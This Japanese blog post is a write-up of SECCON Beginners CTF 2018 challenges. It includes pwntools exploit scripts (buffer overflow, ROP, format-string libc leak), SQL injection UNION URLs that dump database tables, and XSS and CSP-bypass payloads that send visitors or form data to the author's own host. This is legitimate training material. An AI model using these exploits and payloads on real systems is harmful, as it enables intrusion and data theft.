ゼオスTTのブログ

気が向いた時に、主にプログラミング関係の記事を書くつもり。しかし気が向かない。

SECCON Beginners CTF 2018 write-up

ctf4bの想定する初心者、こんなにレベル高かったっけ...


[Crypto] Well Known[Reversing] Message from the future 以外を解いた。

Crypto

[Warmup] Veni, vidi, vici

ROT13、ROT8、180度回転。

ctf4b{n0more_cLass!cal_cRypt0graphy}

RSA is Power

RSAWebサービスのパワーで解く。

factordb.com

from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA

c = 77361455127455996572404451221401510145575776233122006907198858022042920987316
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
e = 65537

n = p * q
d = inverse(e, (p - 1) * (q - 1))
rsa = RSA.construct((n, e, d))

print(long_to_bytes(rsa.decrypt(c)))

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Streaming

フラグが ct から始まることを利用し、内部状態を求める。

with open('encrypted', 'rb') as f:
    encrypted = f.read()
    a = ord(encrypted[0]) + ord(encrypted[1]) * 256
    seed = a ^ int('ct'.encode('hex'), 16)

    g = Stream(seed)

    flag = 'ct'
    for i in range(2, len(encrypted), 2):
        a = (ord(encrypted[i]) + ord(encrypted[i+1]) * 256) ^ g.next()
        flag += hex(a)[2:].decode('hex')

    print(flag)

ctf4b{lcg-is-easily-predictable}

Pwn

[Warmup] condition

gets() だー。

$ python -c "print('A' * 0x2c + '\xef\xbe\xad\xde')" | nc pwn1.chall.beginners.seccon.jp 16268

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

BBS

ROP。

.bssgets()sh を書き込み、それを system() に渡す。

from pwn import *

target = ELF('./bbs')

r = remote('pwn1.chall.beginners.seccon.jp', 18373)
# r = process('./bbs')

POP_RDI = 0x400763

payload = ''
payload += 'A' * 0x88
payload += p64(POP_RDI)
payload += p64(target.bss(0))
payload += p64(target.plt['gets'])
payload += p64(POP_RDI)
payload += p64(target.bss(0))
payload += p64(target.plt['system'])

r.sendline(payload)

r.sendline('sh')

r.interactive()

ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}

Seczon

FSB。UAFじゃなかった。

あと、久々のx86

from pwn import *

# libc = ELF('/lib32/libc.so.6')
libc = ELF('./libc-2.23.so')

# OFFSET_SH = 0x15cccd
OFFSET_SH = 0x15ba10

# r = process('seczon')
r = remote('pwn1.chall.beginners.seccon.jp', 21735)

def write_byte(addr, byte):
    r.sendline('2')
    r.sendline('0')

    payload = ''
    payload += '%{}c%10$hhn'.format(byte)
    payload += 'A' * (15 - len(payload))
    payload += p32(addr)
    r.sendline(payload)

def write_dword(addr, dword):
    for i in xrange(4):
        write_byte(addr + i, dword >> i * 8 & 0xff)

r.sendline('1')
r.sendline('hoge')

r.sendline('2')
r.sendline('0')
r.sendline('%18$x %19$x')

r.recvuntil('hoge\n')
s = r.recvline().split()

RET_ADDR_FROM_MAIN = int(s[0], 16) + 0x14
CALL_PRINTF = int(s[1], 16) - 0xfe3 + 0xcf6

r.sendline('2')
r.sendline('0')
r.sendline('%8$s   ' + p32(CALL_PRINTF + 1))

r.recvuntil('hoge\n')
LIBC_BASE = u32(r.recv(4)) + CALL_PRINTF + 5 - libc.symbols['printf']

write_dword(RET_ADDR_FROM_MAIN, LIBC_BASE + libc.symbols['system'])
write_dword(RET_ADDR_FROM_MAIN + 8, LIBC_BASE + OFFSET_SH)

r.sendline('0')

r.interactive()

ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}

Reversing

[Warmup] Simple Auth

パスワード(フラグ)をメモリに書き込んでる。

strlen() してくれてるので、

echo | ltrace ./simple_auth |& grep ctf4b

ctf4b{rev3rsing_p4ssw0rd}

Activation

$ file activation.exe
activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.NET。

dnSpyで流れを追うと、入力をAESで暗号化したものが、ある固定値と一致しているか確認していることが分かる。
よって、正しい入力を得るには、その固定値を復号してやればよい。

using System;
using System.Text;
using System.Security.Cryptography;

class Solve {
    static void Main() {
        AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
        aesCryptoServiceProvider.BlockSize = 128;
        aesCryptoServiceProvider.KeySize = 256;
        byte[] b = {0x43, 0x54, 0x46, 0x34, 0x42, 0x37, 0x45, 0x31, 0x43, 0x54, 0x46, 0x34, 0x42, 0x37, 0x45, 0x31};
        aesCryptoServiceProvider.IV = b;
        byte[] B = {0x53 ,0x45 ,0x43 ,0x43 ,0x4F ,0x4E ,0x5F ,0x42 ,0x45 ,0x47 ,0x49 ,0x4E ,0x4E ,0x45 ,0x52 ,0x53};
        aesCryptoServiceProvider.Key = B;
        aesCryptoServiceProvider.Mode = CipherMode.ECB;
        aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;

        string encodedFlag = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5";
        byte[] inArray = Convert.FromBase64String(encodedFlag);
        byte[] bytes = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(inArray, 0, inArray.Length);

        Console.WriteLine(Encoding.ASCII.GetString(bytes));
    }
}

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}

crackme

処理を眺めると、各cmpにブレークポイントを仕込めばよいことが分かる。

$ gdb crackme -q
Reading symbols from crackme...(no debugging symbols found)...done.
(gdb) b *0x400819
Breakpoint 1 at 0x400819
(gdb) b *0x400869
Breakpoint 2 at 0x400869
(gdb) b *0x4008b9
Breakpoint 3 at 0x4008b9
(gdb) b *0x400909
Breakpoint 4 at 0x400909
(gdb) b *0x400649
Breakpoint 5 at 0x400649
(gdb) b *0x400699
Breakpoint 6 at 0x400699
(gdb) b *0x400703
Breakpoint 7 at 0x400703
(gdb) b *0x400753
Breakpoint 8 at 0x400753
(gdb) disp/c *0x601048 ^ $eax
1: /c *0x601048 ^ $eax = <error: No registers.>
(gdb) r hoge
Starting program: /media/sf_GoogleDrive/CTF/BeginnersCTF/crackme/crackme hoge

Breakpoint 1, 0x0000000000400819 in ?? ()
1: /c *0x601048 ^ $eax = 99 'c'
(gdb) c
Continuing.

Breakpoint 2, 0x0000000000400869 in ?? ()
1: /c *0x601048 ^ $eax = 116 't'
(gdb) 
Continuing.

Breakpoint 3, 0x00000000004008b9 in ?? ()
1: /c *0x601048 ^ $eax = 102 'f'
(gdb) 
Continuing.

...

ctf4b{D0_y0u_l!k3_x86_4ssembly?}

Web

[Warmup] Greeting

クッキーは美味しい。

$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b

ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

Gimme your comment

XSS。本文がタグを受け付ける。

ゆるっゆる。

<script>location.href="http://my.ip.address/";</script>

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

SECCON Goods

SQLi。

http://goods.chall.beginners.seccon.jp/items.php?minstock=0%20UNION%20SELECT%201,1,1,1,table_name%20FROM%20information_schema.tables

でテーブル一覧を取得し、

http://goods.chall.beginners.seccon.jp/items.php?minstock=0%20UNION%20SELECT%201,1,1,1,column_name%20FROM%20information_schema.columns%20WHERE%20table_name=%27flag%27

でカラム一覧を取得し、

http://goods.chall.beginners.seccon.jp/items.php?minstock=0%20UNION%20SELECT%201,1,1,1,flag%20FROM%20flag

でフィニッシュ。

ctf4b{cl4551c4l_5ql_1nj3c710n}

Gimme your comment REVENGE

Content-Security-Policy: default-src 'self' ですって。

<form method="POST" action="http://my.ip.address/">

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Misc

[Warmup] Welcome

IRC、頑張ってるのが伝わってくる人がいて、応援してました。

ctf4b{welcome_to_seccon_beginners_ctf}

[Warmup] plain mail

平文で以下3通のメールを送信。

「zipとパスワードを分けて送ります」
「はいzip」
「はいパスワード」

滑稽。

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず

手計算・・・は辛いので、計算機に任せる。

from pwn import *

r = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

r.recvlines(11)

for i in xrange(100):
    r.recvuntil(')\n')
    r.sendline(str(eval(r.recvuntil('=')[:-1])))

r.interactive()

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

1と2は7-zipでも取り出せる。

1は $ base64 -d、2は 臼ng

3が binwalkで取り出せなかったので、バイナリエディタで無理やり引っこ抜いた。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}